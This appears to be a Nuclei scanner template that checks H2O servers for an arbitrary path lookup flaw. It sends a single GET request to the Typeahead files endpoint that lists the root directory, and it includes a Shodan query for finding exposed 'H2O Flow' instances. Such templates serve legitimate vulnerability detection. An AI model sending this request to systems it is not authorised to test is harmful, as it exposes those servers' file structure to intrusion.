id: h2o-arbitary-file-read

info:
  name: H2O - Arbitrary Path Lookup
  author: danmcinerney,byt3bl33d3r
  severity: medium
  description: |
    H2O allows for arbitrary path lookup via it's Typehead API endpoint
  reference:
    - https://huntr.com/bounties/e76372c2-39be-4984-a7c8-7048a75a25dc/
  classification:
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"H2O Flow"
  tags: h2o-3,h2o,info-leak,lfi,misconfig

http:
  - raw:
      - |
        GET /3/Typeahead/files?src=%2F&limit=10 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"/bin"'
          - '"__meta":'
          - '"schema_name":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201f34039bc6d41977c0d1ba1ba2351d1b7e994814b9f98fa6c5f0fd78889765ef022100bef9cbc39282e52e548edae5ec6885925c9a77d168bd639e6f2927b4e18e1144:922c64590222798bb761d5b6d8e72950